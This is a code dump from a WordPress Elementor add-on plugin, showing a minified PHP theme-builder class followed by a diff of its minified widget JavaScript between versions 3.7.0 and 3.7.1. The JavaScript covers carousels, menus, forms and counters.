get_template_type(){$template_type=['header'=>['label'=>esc_html__('Header','sina-ext'),'optionkey'=>'header'],'footer'=>['label'=>esc_html__('Footer','sina-ext'),'optionkey'=>'footer'],'archive'=>['label'=>esc_html__('Archive','sina-ext'),'optionkey'=>'archivepage'],'single'=>['label'=>esc_html__('Single','sina-ext'),'optionkey'=>'singlepage'],'others'=>['label'=>esc_html__('Others','sina-ext'),'optionkey'=>'otherpage'],];return apply_filters('sina_ext_builder_template_types',$template_type);}public function register_theme_builder_post_type(){$labels=['name'=>esc_html_x('Sina Theme Builder','Post Type General Name','sina-ext'),'singular_name'=>esc_html_x('Sina Theme Builder','Post Type Singular Name','sina-ext'),'menu_name'=>esc_html__('Sina Theme Builder','sina-ext'),'name_admin_bar'=>esc_html__('Sina Theme Builder','sina-ext'),'archives'=>esc_html__('Template Archives','sina-ext'),'attributes'=>esc_html__('Template Attributes','sina-ext'),'parent_item_colon'=>esc_html__('Parent Item:','sina-ext'),'all_items'=>esc_html__('Templates','sina-ext'),'add_new_item'=>esc_html__('Add New Template','sina-ext'),'add_new'=>esc_html__('Add New','sina-ext'),'new_item'=>esc_html__('New Template','sina-ext'),'edit_item'=>esc_html__('Edit Template','sina-ext'),'update_item'=>esc_html__('Update Template','sina-ext'),'view_item'=>esc_html__('View Template','sina-ext'),'view_items'=>esc_html__('View Templates','sina-ext'),'search_items'=>esc_html__('Search Templates','sina-ext'),'not_found'=>esc_html__('Not found','sina-ext'),'not_found_in_trash'=>esc_html__('Not found in Trash','sina-ext'),'featured_image'=>esc_html__('Featured Image','sina-ext'),'set_featured_image'=>esc_html__('Set featured image','sina-ext'),'remove_featured_image'=>esc_html__('Remove featured image','sina-ext'),'use_featured_image'=>esc_html__('Use as featured image','sina-ext'),'insert_into_item'=>esc_html__('Insert into Template','sina-ext'),'uploaded_to_this_item'=>esc_html__('Uploaded to this Template','sina-ext'),'items_list'=>esc_html__('Templates list','sina-ext'),'items_list_navigation'=>esc_html__('Templates list navigation','sina-ext'),'filter_items_list'=>esc_html__('Filter from list','sina-ext'),];$args=['label'=>esc_html__('Theme Builder','sina-ext'),'description'=>esc_html__('Sina Extension Theme Builder','sina-ext'),'labels'=>$labels,'supports'=>['title','elementor','thumbnail'],'hierarchical'=>false,'public'=>true,'show_ui'=>true,'show_in_menu'=>false,'show_in_admin_bar'=>false,'show_in_nav_menus'=>true,'can_export'=>true,'has_archive'=>false,'rewrite'=>['slug'=>'sina-ext-template','pages'=>false,'with_front'=>true,'feeds'=>false,],'query_var'=>true,'exclude_from_search'=>true,'publicly_queryable'=>true,'capability_type'=>'page','show_in_rest'=>true,'rest_base'=>self::POST_TYPE,];register_post_type(self::POST_TYPE,$args);$this->get_active();flush_rewrite_rules();}public function manage_columns($columns){$column_date=$columns['date'];unset($columns['date']);$columns['type']=esc_html__('Type','sina-ext');$columns['status']=esc_html__('Display','sina-ext');$columns['date']=esc_html($column_date);return $columns;}public function columns_content($column_name,$post_id){$type=get_post_meta($post_id,self::POST_TYPE_META.'_type',true);if(!array_key_exists($type,self::get_template_type())){return;}if($column_name==='type'){echo isset(self::get_template_type()[$type])?'<div class="column-type">'.self::get_template_type()[$type]['label'].'</div>':'-';}if($column_name==='status'){$display=get_post_meta($post_id,self::POST_TYPE_META.'_location',true); ?> <div class="post-status"> <strong><?php esc_html_e('Display:','sina-ext'); ?> </strong> <?php echo esc_html($display); ?> Only in /home/deploy/wp-safety.org/data/plugin-versions/sina-extension-for-elementor/3.7.0/admin: sina-ext-theme-builder-readable.php Only in /home/deploy/wp-safety.org/data/plugin-versions/sina-extension-for-elementor/3.7.0/assets/css: animate-merge.css Only in /home/deploy/wp-safety.org/data/plugin-versions/sina-extension-for-elementor/3.7.0/assets/css: sina-header-footer.css Only in /home/deploy/wp-safety.org/data/plugin-versions/sina-extension-for-elementor/3.7.0/assets/css: sina-tooltip.css Only in /home/deploy/wp-safety.org/data/plugin-versions/sina-extension-for-elementor/3.7.0/assets/css: sina-widgets.css Only in /home/deploy/wp-safety.org/data/plugin-versions/sina-extension-for-elementor/3.7.0/assets/css: sina-widgets-rtl.css Only in /home/deploy/wp-safety.org/data/plugin-versions/sina-extension-for-elementor/3.7.0/assets/css: twentytwenty.css Only in /home/deploy/wp-safety.org/data/plugin-versions/sina-extension-for-elementor/3.7.0/assets/js: sina-tooltip.js Only in /home/deploy/wp-safety.org/data/plugin-versions/sina-extension-for-elementor/3.7.0/assets/js: sina-widgets.js @@ -1,2 +1,2 @@ -/* Sina Extension for Elementor v3.7.0 */ -!function(){"use strict";function e(n,t,e){new IntersectionObserver(function(n,e){n.forEach(function(n){n.isIntersecting&&t(n)})},2<arguments.length&&void 0!==e?e:{}).observe(n)}function t(n){var e=(e=n.data("item-lg"))||2,t=(t=n.data("item-md"))||2,a=(a=n.data("item-sm"))||1,o=n.data("slide-anim"),i="none"!=(i=n.data("slide-anim-out"))&&i,o="none"!=o&&o,d=!!n.data("autoplay"),s=!!n.data("pause"),r=!!n.data("center"),l=!!n.data("nav"),c=!!n.data("dots"),f=!!n.data("mouse-drag"),u=!!n.data("touch-drag"),m=!!n.data("loop"),h=(h=n.data("speed"))||500,p=n.data("delay");n.owlCarousel({animateOut:i,animateIn:o,autoplay:d,autoplayHoverPause:s,center:r,nav:l,dots:c,mouseDrag:f,touchDrag:u,loop:m,smartSpeed:h,autoplayTimeout:p,responsive:{0:{items:a},600:{items:t},900:{items:e}}})}function p(n){return n<10?"0"+n:n}function n(n,c){n.find(".sina-ext-nav").each(function(){var n=c(window).outerWidth(),e=c("body"),t=c(this),a=t.find(".sina-ext-menu"),o=t.find(".sina-ext-nav-collapse"),i=t.find(".sina-ext-nav-toggle"),d=i.data("open"),s=i.data("close"),r=a.data("in"),l=a.data("out");c(".sub-menu",a).addClass("animated"),1024<n?(c(".menu-item-has-children",a).on("mouseenter",function(){c(".sub-menu",this).eq(0).removeClass(l).stop().fadeIn().addClass(r),c(this).addClass("open")}),c(".menu-item-has-children",a).on("mouseleave",function(){c(".sub-menu",this).eq(0).removeClass(r).stop().fadeOut().addClass(l),c(this).removeClass("open")})):(c(".sina-ext-menu .menu-item-has-children > a").on("click",function(n){n.preventDefault()}),c("a",".sina-ext-menu .menu-item-has-children").on("click",function(){var n=c(this).parent(".menu-item-has-children");c(".sub-menu",n).eq(0).toggleClass(r).stop().fadeToggle().toggleClass(l),c(n).toggleClass("open")})),e.children(".sina-ext-nav-wrapper").length<1&&e.wrapInner('<div class="sina-ext-nav-wrapper"></div>'),i.on("click",function(){c(".toggle-icon",this).toggleClass(d).toggleClass(s),e.toggleClass("sina-ext-nav-mobile-left"),o.toggleClass("show")}),c(window).on("resize",function(){c(".toggle-icon",i).removeClass(s).addClass(d),e.removeClass("sina-ext-nav-mobile-left"),o.removeClass("show")})})}function a(n,i){n.find(".sina-search").each(function(){var n=i(this),e=!!n.data("click"),t=!!n.data("esc"),a=n.children(".sina-button"),o=n.children(".sina-modal-overlay"),n=o.find(".sina-modal-close");a.click(function(n){o.fadeIn(400)}),n.click(function(){o.fadeOut(400)}),e&&i(document).on("click",function(n){i(n.target).is(".sina-modal-area")&&o.fadeOut(400)}),t&&i(window).on("keydown",function(n){192==(n.which||n.keyCode)&&o.fadeOut(400)})})}function o(n,e){n.find(".sina-scroll-top").each(function(){var n=e(this);e(window).on("scroll",function(){300<e(this).scrollTop()?n.fadeIn("slow"):n.fadeOut("slow")}),n.on("click",function(){return e("html, body").animate({scrollTop:0},600),!1})})}function i(n,e){n.find(".sina-brand-carousel").each(function(){t(e(this))})}function d(n,e){n.find(".sina-content-slider").each(function(){t(e(this))})}function s(n,e){n.find(".sina-posts-carousel").each(function(){t(e(this))})}function r(n,e){n.find(".sina-review-carousel").each(function(){t(e(this))})}function l(n,s){n.find(".sina-accordion").each(function(){var n=s(this),d=n.data("open-first");n.find(".sina-accordion-item").each(function(n,e){var t=s(this),a=t.siblings(".sina-accordion-item"),o=t.children(".sina-accordion-header"),i=t.children(".sina-accordion-body");d&&0==n&&i.slideDown(200),o.on("click",function(n){n.stopImmediatePropagation(),i.slideToggle(200),a.children(".sina-accordion-body").slideUp(200),t.toggleClass("open"),a.removeClass("open")})})})}function c(n,m){n.find(".sina-banner-slider").each(function(){function t(n){n.each(function(){var n=m(this),e=n.data("animation");n.removeClass("sina-anim-invisible"),n.addClass(e).one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend",function(){n.removeClass(e)})})}var a,o=m(this),n=!!o.data("autoplay"),e=!!o.data("pause"),i=!!o.data("nav"),d=!!o.data("dots"),s=!!o.data("mouse-drag"),r=!!o.data("touch-drag"),l=!!o.data("loop"),c=o.data("part-anim"),f=(f=o.data("speed"))||500,u=o.data("delay");o.owlCarousel({autoplay:n,autoplayHoverPause:e,nav:i,dots:d,mouseDrag:s,touchDrag:r,loop:l,smartSpeed:c?5:f,navSpeed:c?5:f,autoplaySpeed:f,autoplayTimeout:u,responsive:{0:{items:1}}}),c&&(t(o.find(".owl-item.active").find("[data-animation ^= 'animated']")),a=[o.find(".owl-item.active")],o.on("translated.owl.carousel",function(n){var e=o.find(".owl-item.active");t(e.find("[data-animation ^= 'animated']")),a.push(e),a[0].find("[data-animation ^= 'animated']").each(function(n,e){m(this).addClass("sina-anim-invisible")}),a.shift()})),o.find(".sina-tooltip").tooltip()})}function f(n,u){n.find(".sina-blogpost").each(function(){var i=u(this),d=i.children(".sina-bp-grid");i.imagesLoaded(function(){d.isotope({itemSelector:".sina-bp-col",percentPosition:!0,masonry:{columnWidth:".sina-bp-grid-sizer"}})});var n=i.data("uid"),e=i.data("posts-data"),s=e.total_posts,r=e.posts_num,t=i.find("#sina_load_more_posts"+n),l=i.find(".sina-load-more"),c=l.children(".sina-load-more-btn"),f=(c=l.children(".sina-load-more-btn")).html();c.on("click",function(n){var o=i.data("offset");c.html("Loading..."),u.post(sinaAjax.ajaxURL,{action:"sina_load_more_posts",posts_data:JSON.stringify(e),offset:o,nonce:t.val()},function(n,e,t){var a;"success"==e&&(a=u(n).find(".sina-bp-col"),d.append(a),imagesLoaded(d,function(){d.isotope("appended",a)}),s-r<=o&&l.remove(),c.html(f),i.data("offset",o+r))})})})}function u(n,t){n.find(".sina-facebook-feed").each(function(){var n=t(this),e=n.children(".sina-feed-grid");n.imagesLoaded(function(){e.isotope({itemSelector:".sina-feed-col",percentPosition:!0,masonry:{columnWidth:".sina-fb-feed-grid-sizer"}})})})}function m(n,t){n.find(".sina-twitter-feed").each(function(){var n=t(this),e=n.children(".sina-feed-grid");n.imagesLoaded(function(){e.isotope({itemSelector:".sina-feed-col",percentPosition:!0,masonry:{columnWidth:".sina-twitter-feed-grid-sizer"}})})})}function h(n,h){n.find(".sina-contact-form").each(function(){var a,n=h(this),e=n.data("uid"),t=n.data("from"),o=n.data("inbox"),i=n.children("#sina_contact_nonce"+e),d=n.children(".sina-success-text"),s=n.children(".sina-error-text"),r=n.children(".sina-process-text"),l=n.find(".sina-input-name"),c=n.find(".sina-input-email"),f=n.find(".sina-input-subject"),u=n.find(".sina-input-message"),m=!!n.data("captcha");n.on("submit",function(n){n.preventDefault(),clearTimeout(a),s.fadeOut(0),d.fadeOut(0),r.fadeIn(200);n="";m&&(n=grecaptcha.getResponse()),h.post(sinaAjax.ajaxURL,{action:"sina_contact",inbox:o,from_text:t,name:l.val(),email:c.val(),subject:f.val(),message:u.val(),is_captcha:m,captcha:n,nonce:i.val()},function(n,e,t){"success"==e&&(a=n?(r.fadeOut(0),s.html(n).fadeIn(200),setTimeout(function(){s.fadeOut(200)},1e4)):(r.fadeOut(0),d.fadeIn(200),setTimeout(function(){d.fadeOut(200)},1e4)))})})})}function _(n,m){n.find(".sina-table").each(function(){var n=m(this),e=n.children("table"),t=n.find(".sina-data-table"),a=n.data("table-info"),o=a.head||[],i=a.external_source||"",d=a.export?"Blftrip":"lftrip",s=!!a.ordering,r=a.sort_col||2,l=a.sort_type||"desc",c=!!a.searching,f=!!a.info,u=!!a.paging,n=a.pagingType||"simple_numbers";t.DataTable({ajax:i,columns:o,ordering:s,order:[[r-1,l]],searching:c,info:f,paging:u,pagingType:n,dom:d,lengthMenu:[10,25,50,100,200,500]}),e.on("click","tr",function(n){n.preventDefault(),"yes"!=a.keep_focus&&m(this).siblings("tr").removeClass("focus"),m(this).toggleClass("focus")})})}function g(n,m){n.find(".sina-login-form").each(function(){var a,n=m(this),e=n.data("uid"),t=n.data("state"),o=n.data("url"),i=n.data("rem-login"),d=n.children("#sina_login_nonce"+e),s=n.children(".sina-error-text"),r=n.children(".sina-input-password"),l=n.children(".sina-input-email"),e=n.find(".sina-login-remember"),c=n.find(".sina-login-btn"),f=c.html(),u=!1;"yes"==i&&(u=e.prop("checked")),n.on("submit",function(n){n.preventDefault(),clearTimeout(a),c.html(t),s.fadeOut(0),m.post(sinaAjax.ajaxURL,{action:"sina_login",password:r.val(),email:l.val(),remember:u,nonce:d.val()},function(n,e,t){"success"==e&&("logged in"==n?location.href=o:n&&(s.html(n).fadeIn(200),a=setTimeout(function(){s.fadeOut(200)},1e4)),c.html(f))})})})}function v(n,f){n.find(".sina-subs-form").each(function(){var a,n=f(this),e=n.data("uid"),t=n.find("#sina_mc_subscribe_nonce"+e),o=n.find(".sina-input-fname"),i=n.find(".sina-input-lname"),d=n.find(".sina-input-email"),s=n.find(".sina-input-phone"),r=n.children(".sina-success-text"),l=n.children(".sina-error-text"),c=n.children(".sina-process-text");n.on("submit",function(n){n.preventDefault(),clearTimeout(a),l.fadeOut(0),r.fadeOut(0),c.fadeIn(200),f.post(sinaAjax.ajaxURL,{action:"sina_mc_subscribe",fname:o.val()||" ",lname:i.val()||" ",phone:s.val()||" ",email:d.val(),nonce:t.val()},function(n,e,t){"success"==e&&(a="success"==n?(c.fadeOut(0),r.fadeIn(200),setTimeout(function(){r.fadeOut(200)},1e4)):(c.fadeOut(0),l.html(n).fadeIn(200),setTimeout(function(){l.fadeOut(200)},1e4)))})})})}function y(n,h){n.find(".sina-countdown").each(function(n,e){var t=h(this),o=t.find(".sina-cd-year"),i=t.find(".sina-cd-month"),d=t.find(".sina-cd-week"),s=t.find(".sina-cd-day"),r=t.find(".sina-cd-hour"),l=t.find(".sina-cd-minute"),c=t.find(".sina-cd-second"),f=t.data("text"),a=t.data("message"),u=t.data("link"),m=t.data("time");t.countdown(m).on("update.countdown",function(n){var e=n.strftime("%m"),t=n.strftime("%w"),a=Math.floor(e/12),e=e%12,t=t%4;o.html(p(a)),i.html(p(e)),d.html("0"+t),s.html(n.strftime("%n")),r.html(n.strftime("%H")),l.html(n.strftime("%M")),c.html(n.strftime("%S")),"yes"==f&&(o.next().html(a<2?"Year":"Years"),i.next().html(e<2?"Month":"Months"),d.next().html(t<2?"Week":"Weeks"),s.next().html(n.strftime("%n")<2?"Day":"Days"),r.next().html(n.strftime("%H")<2?"Hour":"Hours"),l.next().html(n.strftime("%M")<2?"Minute":"Minutes"),c.next().html(n.strftime("%S")<2?"Second":"Seconds"))}).on("finish.countdown",function(n){t.children().remove(),a?t.append('<div class="sina-cd-message">'+a+"</div>"):u&&elementorFrontend.isEditMode()?t.append("<h2>You can't redirect url from elementor edit mode!!</h2>"):u?window.location.href=u:t.append("<h2>May be you don't enter a valid redirect url</h2>")})})}function b(a,n){e(a[0],function(){var n=a.find(".sina-counter-number"),e=n.data(),t=e.toValue.toString().match(/\.(.*)/);t&&(e.rounding=t[1].length),n.numerator(e)})}function k(n,s){n.find(".sina-fancytext").each(function(){var n=s(this),e=n.find(".sina-fancytext-strings"),t=n.data("anim"),a=n.data("speed"),o=n.data("delay"),i=!!n.data("cursor"),d=!!n.data("loop"),n=(n=n.data("fancy-text")).split("@@");"typing"==t?e.typed({strings:n,typeSpeed:a,startDelay:o,showCursor:i,loop:d}):e.Morphext({animation:t,separator:"@@",speed:o})})}function w(n,p){n.find(".sina-google-map").each(function(){var n=p(this),e=n.data("id"),t=n.data("anim"),a=n.data("zoom"),o=n.data("lat"),i=n.data("long"),d=!n.data("defaultui"),s=!!n.data("zoom-control"),r=!!n.data("street-control"),l=!!n.data("fullscreen-control"),c=n.data("zoom-position"),f=n.data("street-position"),u=n.data("fullscreen-position"),m=n.data("map-style"),h=n.data("marker"),n=n.data("marker-link"),m=new google.maps.Map(document.getElementById(e),{center:{lat:o,lng:i},zoom:a,disableDefaultUI:d,zoomControl:s,zoomControlOptions:{position:google.maps.ControlPosition[c]},streetViewControl:r,streetViewControlOptions:{position:google.maps.ControlPosition[f]},fullscreenControl:l,fullscreenControlOptions:{position:google.maps.ControlPosition[u]},styles:sinaMapStyles[m]});h&&n&&new google.maps.Marker({position:new google.maps.LatLng(o,i),map:m,icon:{url:n},animation:google.maps.Animation[t]})})}function x(n,r){n.find(".sina-image-differ").each(function(){var n=r(this),e=n.data("orientation"),t=n.data("before"),a=n.data("after"),o=n.data("offset"),i=!!n.data("overlay"),d=!!n.data("click"),s=!!n.data("hover");n.children(".twentytwenty-container").twentytwenty({default_offset_pct:o,orientation:e,before_label:t,after_label:a,no_overlay:i,move_slider_on_hover:s,click_to_move:d})})}function C(n,r){n.find(".sina-news-ticker").each(function(){var n=r(this),t=n.data("speed"),a="yes"==n.data("pause"),e=n.children(".sina-news-wrapper"),o=e.children(".sina-news-container"),i=o.children(".sina-news-content"),n=i.children(".sina-news"),e=e.outerWidth(),d=0;function s(n,e){var t=d*n;o.css({width:2*d+"px",marginLeft:0}),o.animate({marginLeft:"-="+d+"px"},t,"linear",function(){s(n,e)})}n.each(function(n,e){d+=r(this).outerWidth()}),d+=.5*e,i.css("width",d+"px"),i.clone().appendTo(o),a&&(o.on("mouseenter",function(n){o.stop()}),o.on("mouseleave",function(n){var e=(e=o.css("marginLeft")).replace(/px/i,""),e=parseInt(e)+d;o.animate({marginLeft:"-="+e+"px"},e*t,"linear",function(){s(t,a)})})),s(t,a)})}function A(n,a){n.find(".sina-product-zoomer").each(function(){var n=a(this),e=n.data("position"),t=n.data("shape");n.find(".xzoom, .xzoom-gallery").xzoom({position:e,lensShape:t})})}function F(n,f){n.find(".sina-particle").each(function(){var n=f(this),e=n.data("link-color"),t=n.data("ball-color"),a=n.data("number"),o=n.data("link"),i=n.data("clink"),d=n.data("linkw"),s=n.data("size"),r=n.data("speed"),l=!!n.data("dlink"),c=!!n.data("dmouse");n.sinaParticles({lineColor:e,fillColor:t,particlesNumber:a,linkDist:o,createLinkDist:i,linksWidth:d,maxSize:s,speed:r,disableLinks:l,disableMouse:c})}),f(".sina-particle-layer .sina-tooltip").tooltip()}function O(r,n){e(r[0],function(){var n=r.find(".sina-piechart-wrap"),e=n.data("track"),t=(n.data("track-width"),n.data("bar")),a=n.data("line"),o=n.data("cap"),i=n.data("speed"),d=n.data("scale"),s=n.data("size");n.easyPieChart({trackColor:e,barColor:t,lineWidth:a,lineCap:o,animate:i,scaleColor:d,size:s})})}function I(n,i){n.find(".sina-portfolio").each(function(){var n=i(this),t=n.children(".sina-portfolio-grid"),a=n.children(".sina-portfolio-btns"),o=n.data("layout");n.imagesLoaded(function(){var e;e="masonry"==o?t.isotope({itemSelector:".sina-portfolio-item",percentPosition:!0,masonry:{columnWidth:".sina-portfolio-item"}}):t.isotope({itemSelector:".sina-portfolio-item",layoutMode:"fitRows"}),a.on("click","button",function(){var n=i(this).attr("data-filter");e.isotope({filter:n})})}),n.find(".sina-portfolio-zoom").venobox({titlePosition:"bottom",bgcolor:"#000000"})})}function z(n,e){n.find(".sina-posts-tab").each(function(){e("[data-sina-pt]").on("click",function(n){e(e(this).data("sina-pt")).siblings(".sina-pt-item").removeClass("active"),e(e(this).data("sina-pt")).addClass("active")})})}function L(t,n){e(t[0],function(){var n=t.find(".sina-bar-content"),e=n.data("percentage");n.animate({width:e+"%"},20*e)})}function S(n,r){n.find(".sina-modal-box").each(function(){var n=r(this),e=!!n.data("click"),t=!!n.data("esc"),a=!!n.data("auto-show"),o=n.data("delay-show")?n.data("delay-show"):4e3,i=n.data("modal-id"),d=r("."+i),n=n.find(".close-"+i),s=r(".sina-modal-"+i);d.click(function(n){n.preventDefault(),s.fadeIn(400)}),n.click(function(){s.fadeOut(400)}),a&&setTimeout(function(){s.fadeIn(400)},o),e&&r(document).on("click",function(n){r(n.target).is(".sina-modal-area")&&s.fadeOut(400)}),t&&r(window).on("keydown",function(n){192==(n.which||n.keyCode)&&s.fadeOut(400)})})}function T(n,o){n.find(".sina-user-counter").each(function(){var n=o(this),a=n.children(".sina-uc-number"),e=n.data("roles"),t=n.find("#sina_user_counter_nonce");setInterval(function(){o.post(sinaAjax.ajaxURL,{action:"sina_user_counter",roles:e,nonce:t.val()},function(n,e,t){"success"==e&&a.html(n)})},5e3)})}function D(n,e){n.find(".sina-video").each(function(){e(this).children(".sina-video-play").venobox({titlePosition:"bottom",bgcolor:"#000000"})})}function M(n,i){n.find(".sina-visit-counter").each(function(){var n=i(this),e=n.data("page"),a=n.find(".sina-visit-today"),o=n.find(".sina-visit-yesterday"),t=n.find("#sina_visit_counter_nonce");setInterval(function(){i.post(sinaAjax.ajaxURL,{action:"sina_visit_counter",page:e,nonce:t.val()},function(n,e,t){"success"==e&&(n=n.split("|"),a.html(n[0]),o.html(n[1]))})},5e3)})}jQuery(window).on("elementor/frontend/init",function(){elementorFrontend.hooks.addAction("frontend/element_ready/sina_search.default",a),elementorFrontend.hooks.addAction("frontend/element_ready/sina_scroll_to_top.default",o),elementorFrontend.hooks.addAction("frontend/element_ready/sina_nav_menu.default",n),elementorFrontend.hooks.addAction("frontend/element_ready/sina_accordion.default",l),elementorFrontend.hooks.addAction("frontend/element_ready/sina_banner_slider.default",c),elementorFrontend.hooks.addAction("frontend/element_ready/sina_blogpost.default",f),elementorFrontend.hooks.addAction("frontend/element_ready/sina_posts.default",f),elementorFrontend.hooks.addAction("frontend/element_ready/sina_facebook_feed.default",u),elementorFrontend.hooks.addAction("frontend/element_ready/sina_twitter_feed.default",m),elementorFrontend.hooks.addAction("frontend/element_ready/sina_brand_carousel.default",i),elementorFrontend.hooks.addAction("frontend/element_ready/sina_contact_form.default",h),elementorFrontend.hooks.addAction("frontend/element_ready/sina_table.default",_),elementorFrontend.hooks.addAction("frontend/element_ready/sina_login_form.default",g),elementorFrontend.hooks.addAction("frontend/element_ready/sina_mc_subscribe.default",v),elementorFrontend.hooks.addAction("frontend/element_ready/sina_content_slider.default",d),elementorFrontend.hooks.addAction("frontend/element_ready/sina_posts_carousel.default",s),elementorFrontend.hooks.addAction("frontend/element_ready/sina_countdown.default",y),elementorFrontend.hooks.addAction("frontend/element_ready/sina_counter.default",b),elementorFrontend.hooks.addAction("frontend/element_ready/sina_fancytext.default",k),elementorFrontend.hooks.addAction("frontend/element_ready/sina_image_differ.default",x),elementorFrontend.hooks.addAction("frontend/element_ready/sina_google_map.default",w),elementorFrontend.hooks.addAction("frontend/element_ready/sina_news_ticker.default",C),elementorFrontend.hooks.addAction("frontend/element_ready/sina_product_zoomer.default",A),elementorFrontend.hooks.addAction("frontend/element_ready/sina_particle_layer.default",F),elementorFrontend.hooks.addAction("frontend/element_ready/sina_piechart.default",O),elementorFrontend.hooks.addAction("frontend/element_ready/sina_portfolio.default",I),elementorFrontend.hooks.addAction("frontend/element_ready/sina_posts_tab.default",z),elementorFrontend.hooks.addAction("frontend/element_ready/sina_progressbar.default",L),elementorFrontend.hooks.addAction("frontend/element_ready/sina_review_carousel.default",r),elementorFrontend.hooks.addAction("frontend/element_ready/sina_modal_box.default",S),elementorFrontend.hooks.addAction("frontend/element_ready/sina_user_counter.default",T),elementorFrontend.hooks.addAction("frontend/element_ready/sina_video.default",D),elementorFrontend.hooks.addAction("frontend/element_ready/sina_visit_counter.default",M)})}(); \ No newline at end of file +/* Sina Extension for Elementor v3.7.1 */ +!function(n){"use strict";function e(n,e){new IntersectionObserver((function(n,t){n.forEach((function(n){n.isIntersecting&&e(n)}))}),arguments.length>2&&void 0!==arguments[2]?arguments[2]:{}).observe(n)}function t(n){var e=(e=n.data("item-lg"))||2,t=(t=n.data("item-md"))||2,a=(a=n.data("item-sm"))||1,o=n.data("slide-anim"),i="none"!=(i=n.data("slide-anim-out"))&&i,d=(o="none"!=o&&o,!!n.data("autoplay")),s=!!n.data("pause"),r=!!n.data("center"),l=!!n.data("nav"),c=!!n.data("dots"),f=!!n.data("mouse-drag"),u=!!n.data("touch-drag"),m=!!n.data("loop"),h=(h=n.data("speed"))||500,p=n.data("delay");n.owlCarousel({animateOut:i,animateIn:o,autoplay:d,autoplayHoverPause:s,center:r,nav:l,dots:c,mouseDrag:f,touchDrag:u,loop:m,smartSpeed:h,autoplayTimeout:p,responsive:{0:{items:a},600:{items:t},900:{items:e}}})}function a(n){return n<10?"0"+n:n}function o(n,e){n.find(".sina-ext-nav").each((function(){var n=e(window).outerWidth(),t=e("body"),a=e(this),o=a.find(".sina-ext-menu"),i=a.find(".sina-ext-nav-collapse"),d=a.find(".sina-ext-nav-toggle"),s=d.data("open"),r=d.data("close"),l=o.data("in"),c=o.data("out");e(".sub-menu",o).addClass("animated"),n>1024?(e(".menu-item-has-children",o).on("mouseenter",(function(){e(".sub-menu",this).eq(0).removeClass(c).stop().fadeIn().addClass(l),e(this).addClass("open")})),e(".menu-item-has-children",o).on("mouseleave",(function(){e(".sub-menu",this).eq(0).removeClass(l).stop().fadeOut().addClass(c),e(this).removeClass("open")}))):(e(".sina-ext-menu .menu-item-has-children > a").on("click",(function(n){n.preventDefault()})),e("a",".sina-ext-menu .menu-item-has-children").on("click",(function(){var n=e(this).parent(".menu-item-has-children");e(".sub-menu",n).eq(0).toggleClass(l).stop().fadeToggle().toggleClass(c),e(n).toggleClass("open")}))),t.children(".sina-ext-nav-wrapper").length<1&&t.wrapInner('<div class="sina-ext-nav-wrapper"></div>'),d.on("click",(function(){e(".toggle-icon",this).toggleClass(s).toggleClass(r),t.toggleClass("sina-ext-nav-mobile-left"),i.toggleClass("show")})),e(window).on("resize",(function(){e(".toggle-icon",d).removeClass(r).addClass(s),t.removeClass("sina-ext-nav-mobile-left"),i.removeClass("show")}))}))}function i(n,e){n.find(".sina-search").each((function(){var n=e(this),t=!!n.data("click"),a=!!n.data("esc"),o=n.children(".sina-button"),i=n.children(".sina-modal-overlay"),d=i.find(".sina-modal-close");o.click((function(n){i.fadeIn(400)})),d.click((function(){i.fadeOut(400)})),t&&e(document).on("click",(function(n){e(n.target).is(".sina-modal-area")&&i.fadeOut(400)})),a&&e(window).on("keydown",(function(n){192==(n.which||n.keyCode)&&i.fadeOut(400)}))}))}function d(n,e){n.find(".sina-scroll-top").each((function(){var n=e(this);e(window).on("scroll",(function(){e(this).scrollTop()>300?n.fadeIn("slow"):n.fadeOut("slow")})),n.on("click",(function(){return e("html, body").animate({scrollTop:0},600),!1}))}))}function s(n,e){n.find(".sina-brand-carousel").each((function(){t(e(this))}))}function r(n,e){n.find(".sina-content-slider").each((function(){t(e(this))}))}function l(n,e){n.find(".sina-posts-carousel").each((function(){t(e(this))}))}function c(n,e){n.find(".sina-review-carousel").each((function(){t(e(this))}))}function f(n,e){n.find(".sina-accordion").each((function(){var n=e(this),t=n.data("open-first");n.find(".sina-accordion-item").each((function(n,a){var o=e(this),i=o.siblings(".sina-accordion-item"),d=o.children(".sina-accordion-header"),s=o.children(".sina-accordion-body");t&&0==n&&s.slideDown(200),d.on("click",(function(n){n.stopImmediatePropagation(),s.slideToggle(200),i.children(".sina-accordion-body").slideUp(200),o.toggleClass("open"),i.removeClass("open")}))}))}))}function u(n,e){n.find(".sina-banner-slider").each((function(){function n(n){n.each((function(){var n=e(this),t=n.data("animation");n.removeClass("sina-anim-invisible"),n.addClass(t).one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend",(function(){n.removeClass(t)}))}))}var t=e(this),a=!!t.data("autoplay"),o=!!t.data("pause"),i=!!t.data("nav"),d=!!t.data("dots"),s=!!t.data("mouse-drag"),r=!!t.data("touch-drag"),l=!!t.data("loop"),c=t.data("part-anim"),f=(f=t.data("speed"))||500,u=t.data("delay");if(t.owlCarousel({autoplay:a,autoplayHoverPause:o,nav:i,dots:d,mouseDrag:s,touchDrag:r,loop:l,smartSpeed:c?5:f,navSpeed:c?5:f,autoplaySpeed:f,autoplayTimeout:u,responsive:{0:{items:1}}}),c){n(t.find(".owl-item.active").find("[data-animation ^= 'animated']"));var m=[t.find(".owl-item.active")];t.on("translated.owl.carousel",(function(a){var o=t.find(".owl-item.active");n(o.find("[data-animation ^= 'animated']")),m.push(o),m[0].find("[data-animation ^= 'animated']").each((function(n,t){e(this).addClass("sina-anim-invisible")})),m.shift()}))}t.find(".sina-tooltip").tooltip()}))}function m(n,e){n.find(".sina-blogpost").each((function(){var n=e(this),t=n.children(".sina-bp-grid");n.imagesLoaded((function(){t.isotope({itemSelector:".sina-bp-col",percentPosition:!0,masonry:{columnWidth:".sina-bp-grid-sizer"}})}));var a=n.data("uid"),o=n.data("posts-data"),i=o.total_posts,d=o.posts_num,s=n.find("#sina_load_more_posts"+a),r=n.find(".sina-load-more"),l=r.children(".sina-load-more-btn"),c=(l=r.children(".sina-load-more-btn")).html();l.on("click",(function(a){var f=n.data("offset");l.html("Loading..."),e.post(sinaAjax.ajaxURL,{action:"sina_load_more_posts",posts_data:JSON.stringify(o),offset:f,nonce:s.val()},(function(a,o,s){if("success"==o){var u=e(a).find(".sina-bp-col");t.append(u),imagesLoaded(t,(function(){t.isotope("appended",u)})),f>=i-d&&r.remove(),l.html(c),n.data("offset",f+d)}}))}))}))}function h(n,e){n.find(".sina-facebook-feed").each((function(){var 